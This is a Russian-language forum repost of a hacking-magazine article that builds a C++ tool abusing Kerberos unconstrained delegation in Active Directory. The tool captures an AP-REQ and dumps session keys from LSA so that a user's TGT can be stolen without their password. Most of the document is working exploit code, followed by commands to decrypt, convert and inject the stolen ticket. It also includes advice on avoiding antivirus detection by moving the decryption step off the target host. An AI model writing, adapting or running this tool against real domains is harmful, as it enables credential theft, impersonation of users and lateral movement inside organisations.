• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатируем TGT Delegation в Active Directory

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
В этой статье мы рассмотрим не очень популярную, но крайне интересную атаку, реализовав которую атакующий сможет получить TGT-билет пользователя, даже не зная его пароля либо хеша. Хакеру достаточно лишь выполнить код от лица этого пользователя, а все остальное сделает за нас KDC.

Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?

ОСОБЕННОСТИ НЕОГРАНИЧЕННОГО ДЕЛЕГИРОВАНИЯ​

При неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает?

Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION (он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.

Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.

FORWARDED TGT в AP-REQ

Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.

Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.

ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ​

Чтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:
  • служба, к которой обращается клиент, настроена на неограниченное делегирование. Но здесь ничего страшного нет — все контроллеры домена настроены с неограниченным делегированием;
  • у нас есть возможность выполнить код от лица клиента.
Итоговый алгоритм достаточно простой:
  1. Обращаемся к службе с неограниченным делегированием.
  2. Получаем сгенерированный AP-REQ.
  3. Извлекаем сессионный ключ для расшифровки аутентификатора.
  4. Расшифровываем аутентификатор.
  5. Извлекаем TGT.

ОБНАРУЖЕНИЕ НУЖНОЙ СЛУЖБЫ​

Итак, сначала создаем файл Header.h, в котором указываем все нужные заголовочные файлы, подгружаемые либы, а также прототип одной‑единственной функции.
Код:
#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")
DWORD TgtDeleg(LPCWSTR);
Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN.

Получение сессионного ключа и AP-REQ через указание домена


Ручное указание SPN


Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
Код:
int wmain(char argc, wchar_t* argv[]) {
    setlocale(LC_ALL, "");
    ShowAwesomeBanner();
    if (argc != 3) {
        ShowUsage();
    }
    ....
}
void ShowUsage() {
    std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe 1 cringe.lab" << std::endl;
    std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\tEx: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;
    exit(-1);
}
Информация об использовании инструмента

Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция GetDomainController().
Код:
LPCWSTR targetname = NULL;
    switch (*argv[1]) {
    case '1':
        targetname = GetDomainController(argv[2]);
        break;
        ...
Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции DsGetDcName().
Код:
LPCWSTR GetDomainController(wchar_t* domainName) {
    PDOMAIN_CONTROLLER_INFO dcInfo = NULL;
    DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);
    if (err != ERROR_SUCCESS) {
        std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl;
        exit(-1);
    }
    return dcInfo->DomainControllerName;
}
После получения имени убираем из него первые два символа слеша (так как функция вернула \\dc01, а нам нужно просто dc01), а затем добавляем к полученному имени службу CIFS. В итоге у нас появляется валидный SPN на службу CIFS контроллера домена.
Код:
targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
    std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
    LPCWSTR SPN = addCIFS(targetname);
Функция removeLeadingCharacters просто чуть‑чуть смещает указатель на полученную строку, чтобы первые два символа \\ как бы пропали.
Код:
LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {
    LPCWSTR stringPtr = originalString;
    if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {
        stringPtr += 2;
    }
    return stringPtr;
}
А функция addCIFS() добавляет строку CIFS/ к имени компьютера.
Код:
LPCWSTR addCIFS(LPCWSTR originalString) {
    size_t originalSize = wcslen(originalString);
    size_t cifsSize = 5;
    size_t newSize = originalSize + cifsSize + 1;
    LPWSTR newString = new WCHAR[newSize];
    wcscpy_s(newString, newSize, L"CIFS/");
    wcscat_s(newString, newSize, originalString);
    return newString;
}
Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию TgtDeleg(), в которой реализована логика получения сессионного ключа и блоба AP-REQ.
Код:
case '2':
        if (TgtDeleg(argv[2]) == 0) {
            std::wcout << L"[+] TgtDeleg Success" << std::endl;
            return 0;
        }
        else {
            std::wcout << L"[-] TgtDeleg Error" << std::endl;
            return -1;
        }
        break;
    default:
        std::wcout << L"[-] No such mode" << std::endl;
        ShowUsage();
        return 0;
    }

ПОДКЛЮЧЕНИЕ К СЛУЖБЕ​

Переходим в сердце программы — в функцию TgtDeleg(). Она принимает один‑единственный аргумент — это SPN целевой службы. Затем начинается, как кто‑то очень интересно выразился, «магия SSPI». В действительности никакой магии нет. SSPI можно считать эдакой апишкой, через которую разработчики могут связываться с поставщиками безопасности (Security Packages). Возможности SSPI очень большие: шифрование, подпись, выстраивание контекста. Именно функции SSPI позволят нам сымитировать обращение к службе с неограниченным делегированием.

Начнем с функции AcquireCredentialsHandle(). Она позволяет получить хендл на собственные реквизиты для SSPI, а также указать протокол, на основе которого будет выстраиваться контекст. Под реквизитами понимается пара «логин:пароль», на основе которых пользователь может пройти аутентификацию. Контекст выстраивать не придется — нам достаточно будет один раз просто обратиться к службе, а ОС уже самостоятельно пойдет к KDC, получит TGS и проверит флаг OK-AS-DELEGATE.
Код:
SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
  _In_  SEC_CHAR       *pszPrincipal,
  _In_  SEC_CHAR       *pszPackage,
  _In_  ULONG          fCredentialUse,
  _In_  PLUID          pvLogonID,
  _In_  PVOID          pAuthData,
  _In_  SEC_GET_KEY_FN pGetKeyFn,
  _In_  PVOID          pvGetKeyArgument,
  _Out_ PCredHandle    phCredential,
  _Out_ PTimeStamp     ptsExpiry
);
Отмечу самые основные параметры:
  • pszPrincipal — имя сущности, для которой мы получаем реквизиты. Никаких сущностей, ни живых, ни мертвых, у нас нет, поэтому указываем NULL, что позволяет получить реквизиты для текущего потока;
  • pszPackage — какой поставщик безопасности использовать;
  • fCredentialUse — для каких целей будут использованы реквизиты.
Указываем SECPKG_CRED_OUTBOUND, так как мы инициализируем построение контекста, а значит, должны отдавать свои данные службе. Если бы мы выступали в качестве службы, то указывали бы SECPKG_CRED_INBOUND, то есть получали данные, которые отправил клиент.

Параметр pAuthData — опциональная структура, в которую можно передать реквизиты, специфичные для используемого поставщика безопасности. Например, если бы требовалось пройти аутентификацию от лица иного пользователя, не от того, от которого запущен инструмент, то мы бы использовали структуру SEC_WINNT_AUTH_IDENTITY.
Код:
typedef struct _SEC_WINNT_AUTH_IDENTITY_A {
  unsigned char *User;
  unsigned long UserLength;
  unsigned char *Domain;
  unsigned long DomainLength;
  unsigned char *Password;
  unsigned long PasswordLength;
  unsigned long Flags;
} SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;
А инициализировали бы ее вот так:
Код:
SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};
authIdentity.User = L"username";
authIdentity.UserLength = lstrlen(L"username");
authIdentity.Domain = L"office.local";
authIdentity.DomainLength = lstrlen(L"office.local");
authIdentity.Password = L"pass123";
authIdentity.PasswordLength = lstrlen(L"pass123");
authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI
Элемент phCredential — указатель на структуру CredHandle для получения дескриптора учетных данных.

Вызываем эту функцию, получаем хендл на свои реквизиты.
Код:
CredHandle hCredential;
TimeStamp tsExpiry;
SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredential, &tsExpiry);
    if (status == SEC_E_OK) {
        ... // Все ОK
    } else {
        switch (status) {
        case SEC_E_INSUFFICIENT_MEMORY:
            std::wcout << L"[-] Not enough memory for current creds" << std::endl;
            break;
        case SEC_E_INTERNAL_ERROR:
            std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status << L"L" << std::endl;
            break;
        case SEC_E_NO_CREDENTIALS:
            std::wcout << L"[-] No Credentials Available" << std::endl;
            break;
        case SEC_E_NOT_OWNER:
            std::wcout << L"[-] U Dont Have Credentials" << std::endl;
            break;
        case SEC_E_SECPKG_NOT_FOUND:
            std::wcout << L"[-] Kerberos AP is not initialized" << std::endl;
            break;
        case SEC_E_UNKNOWN_CREDENTIALS:
            std::wcout << L"[-] Credentials were not recognized" << std::endl;
            break;
        default:
            std::wcout << L"[-] Unknown Err: 0x" << std::hex << status << L"L" << std::endl;
            break;
        }
    }
    return -1;
}
Если что‑то идет не так, то обрабатываем полученную ошибку. Про дебаг SECURITY_STATUS написано в статье «Поставщик небезопасности. Как Windows раскрывает пароль пользователя».

Если же все хорошо, то переходим к взаимодействию с целевой службой. Для этого используем функцию InitializeSecurityContext().
Код:
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
  [in, optional]      PCredHandle    phCredential,
  [in, optional]      PCtxtHandle    phContext,
                      SEC_CHAR       *pszTargetName,
  [in]                unsigned long  fContextReq,
  [in]                unsigned long  Reserved1,
  [in]                unsigned long  TargetDataRep,
  [in, optional]      PSecBufferDesc pInput,
  [in]                unsigned long  Reserved2,
  [in, out, optional] PCtxtHandle    phNewContext,
  [in, out, optional] PSecBufferDesc pOutput,
  [out]               unsigned long  *pfContextAttr,
  [out, optional]     PTimeStamp     ptsExpiry
);
Эта функция позволяет обратиться к целевой службе, чтобы начать выстраивание контекста для безопасного взаимодействия. Именно в этот момент KDC видит, что клиент пришел к службе с неограниченным делегированием, и отдает TGS с флагом OK_AS_DELEGATE. Стоит обратить внимание на параметр pszTargetName — здесь указываем SPN службы с неограниченным делегированием. Затем проверяем, успешен ли вызов функции, а также pfContextAttr. Если он содержит значение ISC_REQ_DELEGATE, то все сработало правильно и мы обратились к службе с неограниченным делегированием.
Код:
CtxtHandle newContext;
        SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };
        SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer };
        ULONG contextAttr;
        TimeStamp expiry;
        SECURITY_STATUS initSecurity = InitializeSecurityContextW(&hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL, 0, &newContext, &output, &contextAttr, NULL);
        if (initSecurity == SEC_E_OK || initSecurity == SEC_I_CONTINUE_NEEDED) {
            std::wcout << L"[+] Initializing GSS-API" << std::endl;
            if (contextAttr & ISC_REQ_DELEGATE) {
#ifdef DEBUG
                std::wcout << L"[+] SPN Supports Unconstrained Deleg" << std::endl;
#endif
                DWORD destSize;
                ...
Причем в параметре fContextReq указываем маску ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH. Последние два параметра позволят серверу, на который клиент отправляет контекст, проводить олицетворение этого самого клиента.

Затем приступаем к получению блоба AP-REQ. Он будет находиться внутри параметра pvBuffer структуры SecBuffer. Ее мы передали внутри другой структуры SecBufferDesc параметром output в функцию InitializeSecurityContext(). Сами эти структуры нужны для того, чтобы SP мог вернуть данные, которые требуются для дальнейшего выстраивания контекста. Разнообразия ради предлагаю использовать функцию CryptBinaryToStringA() для кодирования блоба в Base64. Кодируем по той причине, что сам AP-REQ представляет собой большой массив бинарных данных, корректное отображение которых невозможно.
Код:
DWORD destSize;
// Getting AS-REQ blob
BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);
char* apreqbuf = (char*)malloc((SIZE_T)destSize);
if (apreqbuf == NULL) {
    std::wcout << L"[-] Unable To allocate memory for AS-REQ b64 blob" << std::endl;
    return -1;
}
else {
    BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, apreqbuf, &destSize);
    if (!base64) {
        std::wcout << L"[-] Unable to Base64 Encode AP-REQ blob" << std::endl;
        return -1;
    }
    else {
        apreqdata = (BYTE*)secbufPointer.pvBuffer;
        apreqsize = secbufPointer.cbBuffer;
        ...
В этом коде все чуточку проще. В функцию кодирования в Base64 передаем буфер, содержащий блоб AP-REQ (secbufPointer.pvBuffer), его размер secbufPointer.cbBuffer, а в ответ получаем размер выходного буфера (destSize). Затем выделяем в памяти достаточно места под выходной буфер и записываем туда блоб AP-REQ повторным вызовом функции кодирования данных.

ПОЛУЧЕНИЕ СЕССИОННЫХ КЛЮЧЕЙ​

Теперь у нас есть что расшифровывать, но нечем. Нужно получить сессионный ключ. Он будет находиться также в пространстве процесса lsass.exe, внутри AP Kerberos, поэтому для его дампа можно будет использовать стандартные функции LsaConnectUntrusted() и LsaCallAuthenticationPackage(). Сессионный ключ клиент получил после успешного вызова InitializeSecurityContext() в ответе KDC пакетом TGS-REP. Сначала просто подключаемся к LSA.
Код:
HANDLE lsaHandle;
LSA_STRING kerbPackage;
kerbPackage.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;
kerbPackage.Length = (USHORT)lstrlenA(kerbPackage.Buffer);
kerbPackage.MaximumLength = kerbPackage.Length + 1;
ULONG authpackageId;
NTSTATUS connection = LsaConnectUntrusted(&lsaHandle);
if (connection == statusSuccess) {
#ifdef DEBUG
        std::wcout << L"[+] Connection to LSA Success" << std::endl;
#endif
    ...
Нам достаточно и обычного хендла на LSA. Нет смысла дергать LsaRegisterLogonProcess() для дампа сессионных ключей, ведь они должны быть доступны любому пользователю, даже низкопривилегированному (иначе как бы он шифровал пакеты Kerberos?). Затем я столкнулся с интересной проблемой: у тикета есть три вида шифрования — RC4, AES-128, AES-256. А нам никак не узнать, тикет с какой криптографией сейчас лежит в программе, поэтому придется три раза обращаться к AP Kerberos для поиска нужного ключа. Обращение я вынес в отдельную функцию GetSessionKeys().
Код:
NTSTATUS LookupPckg = LsaLookupAuthenticationPackage(lsaHandle, &kerbPackage, &authpackageId);
if (LookupPckg == statusSuccess) {
#ifdef DEBUG
    std::wcout << L"[+] Kerberos AP: " << authpackageId << std::endl;
#endif
    std::wcout << L"[+] Trying RC4" << std::endl;
    NTSTATUS sessKey = GetSessionKeys(lsaHandle, authpackageId, 23, spn, destSize);
    if (sessKey == 0xC0000034) {
        std::wcout << L"\t[-] No such keys" << std::endl;
        std::wcout << L"[+] Trying AES128" << std::endl;
        sessKey = GetSessionKeys(lsaHandle, authpackageId, 17, spn, destSize);
        if (sessKey == 0xC0000034) {
            std::wcout << L"\t[-] No such keys" << std::endl;
            std::wcout << L"[+] Trying AES256" << std::endl;
            sessKey = GetSessionKeys(lsaHandle, authpackageId, 18, spn, destSize);
            if (sessKey != 0) {
                std::wcout << L"[-] Error getting AES256 session Keys" << std::endl;
                return -1;
            }
            else {
                std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
                std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
                return 0;
            }
        }
        else if (sessKey == -1) {
            std::wcout << L"[-] Error getting AES128 session Keys" << std::endl;
            return -1;
        }
        else {
            std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
            std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
            return 0;
        }
    }
    else if (sessKey == -1) {
        std::wcout << L"[-] Error getting RC4 session Keys" << std::endl;
        return -1;
    }
    else {
        std::wcout << "[+] Session Key: " << sessionKeyGet << std::endl;
        std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
        return 0;
    }
}
Сначала просто получаем идентификатор AP Kerberos, затем пытаемся получить сессионные ключи для тикета с шифрованием RC4. Если таких ключей нет, нам выдадут ошибку 0xC0000034, которая функцией LsaNtStatusToWinError() преобразуется в 0x2, что означает ERROR_FILE_NOT_FOUND (файлом, видимо, винда называет сессионный ключ). Если же что‑то ломается, то прилетает -1. Если все окей, то ключ был успешно сдамплен, выводим AP-REQ и сам ключик. Ровно такой же алгоритм повторяем и для AES-128, и для AES-256.

Функция GetSessionKeys() запрашивает из AP Kerberos сессионные ключи, передавая структуру KERB_RETRIEVE_TKT_REQUEST.
Код:
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
  LUID                       LogonId;
  UNICODE_STRING             TargetName;
  ULONG                      TicketFlags;
  ULONG                      CacheOptions;
  LONG                       EncryptionType;
  SecHandle                  CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
В качестве MessageType указываем KerbRetrieveEncodedTicketMessage, а в CacheOptions — KERB_RETRIEVE_TICKET_USE_CACHE_ONLY, что позволит сдампить сессионные ключи. Сама функция GetSessionKeys() принимает хендл на LSA, ID AP Kerberos, тип шифрования (23 — RC4, 17 — AES-128, 18 — AES-256), целевой SPN, а также размер буфера.
Код:
NTSTATUS GetSessionKeys(HANDLE lsaHandle, ULONG authpackageId, LONG EncryptionType, LPCWSTR spn, DWORD destSize) {
    PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL;
    PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;
    ULONG bufferLength;
    ULONG returnLength;
    NTSTATUS packageStatus = 0;
    int spnSize = lstrlenW(spn);
    USHORT newSpnSize = ((USHORT)lstrlenW((LPCWSTR)spn) + 1) * sizeof(wchar_t);
    bufferLength = sizeof(KERB_RETRIEVE_TKT_REQUEST) + newSpnSize;
    retrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, bufferLength);
    if (retrieveRequest != NULL) {
        retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
        retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
        retrieveRequest->EncryptionType = EncryptionType;
        retrieveRequest->TargetName.Length = newSpnSize - sizeof(wchar_t);
        retrieveRequest->TargetName.MaximumLength = newSpnSize;
        retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
        RtlMoveMemory(retrieveRequest->TargetName.Buffer, spn, retrieveRequest->TargetName.MaximumLength);
        NTSTATUS callauthPkg = LsaCallAuthenticationPackage(lsaHandle, authpackageId, (PVOID)retrieveRequest, bufferLength, (PVOID*)&retrieveResponse, &returnLength, &packageStatus);
        if (callauthPkg == statusSuccess) {
#ifdef DEBUG
            std::wcout << L"\t[+] Calling AP Kerberos Success" << std::endl;
#endif
            if (packageStatus == statusSuccess) {
                std::wcout << L"\t[+] Successfully getted Kerberos keys with these encryption" << std::endl;
                PVOID sessionkeynob64 = (PVOID)malloc((SIZE_T)retrieveResponse->Ticket.SessionKey.Length);
                if (sessionkeynob64 != NULL) {
                    // Copying Session Key
                    RtlMoveMemory(sessionkeynob64, retrieveResponse->Ticket.SessionKey.Value, retrieveResponse->Ticket.SessionKey.Length);
                    BOOL base641 = CryptBinaryToStringA((CONST BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);
                    LPSTR sessionKey = (LPSTR)malloc((SIZE_T)destSize);
                    if (sessionKey != NULL) {
                        BOOL base641 = CryptBinaryToStringA((CONST BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, sessionKey, &destSize);
                        if (base641) {
                            sessKkey = retrieveResponse->Ticket.SessionKey.Value;
                            sessionKeyGet = sessionKey;
                            return 0;
                        }
                        else {
                            std::cout << "\t[-] Cant Get string of session key: " << GetLastError() << std::endl;
                            return -1;
                        }
                    }
                    else {
                        std::cout << "\t[-] Cant LocalAlloc for session key: " << GetLastError() << std::endl;
                        return -1;
                    }
                }
                else {
                    std::cout << "\t[-] Unable to allocate memory for kerberos keys: " << GetLastError << std::endl;
                    LocalFree(retrieveRequest);
                    LsaFreeReturnBuffer((PVOID)retrieveResponse);
                    return -1;
                }
            }
            else {
                return packageStatus;
            }
        }
    }
    else {
        DWORD Gle = GetLastError();
        std::cout << "\t[-] Error LocalAlloc for KERB_RETRIEVE_TKT_REQUEST: " << Gle << std::endl;
        return -1;
    }
}
Логика достаточно простая: готовим структуру KERB_RETRIEVE_TKT_REQUEST, которую динамически выделяем в памяти. Затем инициализируем все нужные элементы, отдельно копируем SPN в имя целевой службы функцией RtlMoveMemory(), иначе Kerberos не поймет, сессионный ключ какого тикета нужно сдампить, а затем проверяем успешность вызова функции.

Если функция дернулась успешно, то копируем сессионный ключ, а затем кодируем его в Base64, повторяя все те же операции, что и для блоба AP-REQ.

РАСШИФРОВКА AP-REQ​

После получения AP-REQ и сессионного ключа я принял решение не декриптить блоб на хосте. Инструмент будет выводить только сессионный ключ в Base64 и сам AP-REQ, а расшифровку сделаем на хосте атакующего.

Сессионный ключ и блоб AP-REQ

Такое решение я принял неслучайно — для расшифровки AP-REQ используется недокументированный криптоинтерфейс Windows, который легитимные программы не используют в принципе. Так или иначе, мы его изучим, но чуть позже, когда будем писать инструмент для запроса TGT и TGS на C++. Лишь вкратце отмечу, что для обнаружения и инициализации всех методов этого криптоинтерфейса используется функция CDLocateCSystem(). Проблема в том, что при первом же гуглении ее имени мы натыкаемся на очень интересные статьи.

Подозрительная функция

Функция крайне подозрительная, плюс, скорее всего, ее вызов отслеживается даже самыми простыми АВ. Поэтому, чтобы сохранить чистоту инструмента, предлагаю перенести расшифровку на компьютер атакующего.

Тем не менее, если тебе интересно посмотреть, как эту расшифровку реализует Kekeo или Rubeus, то вот ссылки на код:
Для расшифровки AP-REQ и извлечения TGT из него можно использовать скрипт tgtParse.py.
Python:
python tgtParse.py --etype <тип шифрования> --sessionkey <сессионный ключ> --apreq <ap req блоб>
Получение тикета ccache


Затем в текущей директории появится тикет .ccache, который можно преобразовать в формат .kirbi с помощью ticketConverter.py.

Извлеченный тикет

Python:
python ticketConverter.py Администратор.ccache admin.kirbi
Успешное преобразование тикета


Тикет в текущей директории

Наконец, инжектим тикет с помощью инструмента на PowerShell.
Код:
.\injector.ps1 2 "doi..."
Успешный инжект тикета


ВЫВОДЫ​

Функции делегирования в Active Directory предоставляют множество необычных и недокументированных возможностей, эксплуатация которых очень сильно упрощает жизнь атакующему. А если этот атакующий еще и умеет все написать c нуля, разобраться в атаке, обойти защитные средства, то он в шаге от превращения в настоящего редтимера! Полный код проекта ты можешь отыскать на GitHub.

Автор _MKS_
источник xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх